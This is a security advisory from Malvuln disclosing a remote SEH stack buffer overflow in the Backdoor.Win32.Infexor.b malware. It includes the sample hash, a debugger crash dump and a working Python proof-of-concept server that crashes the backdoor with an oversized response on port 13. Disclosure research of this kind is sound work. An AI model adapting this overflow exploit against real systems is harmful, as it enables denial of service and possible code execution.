Discovery / credits: malvuln - Malvuln.com (c) 2021 Original source: http://malvuln.com/advisory/34c09f7fd6668c89a59ebdc8f12d1e7b.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Infexor.b Vulnerability: Remote Buffer Overflow Description: Remote SEH Stack Buffer Overflow on HTTP server response when connecting to TCP Port 13. Type: PE32 MD5: 34c09f7fd6668c89a59ebdc8f12d1e7b Vuln ID: MVID-2021-0010 Dropped files: C:\Windows\SysWOW64\kernel32.dll.exe ASLR: False Safe SEH: True Disclosure: 01/01/2021 Memory Dump: (12dc.1728): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000 eip=41414141 esp=03151480 ebp=031514a0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:006> !exchain 0324ff70: 41414141 Invalid exception stack at 41414141 Exploit/PoC: import socket port=13 payload="A"*92000 def doit(): global payload s = socket.socket() try: host = '' s.bind((host, port)) s.listen(5) print('Backdoor.Win32.Infexor.b / Remote Stack Buffer Overflow') print('MD5: 34c09f7fd6668c89a59ebdc8f12d1e7b') print("By malvuln") while True: conn, addr = s.accept() conn.send(payload+'\r\n') conn.close() except Exception as e: pass if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occuring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).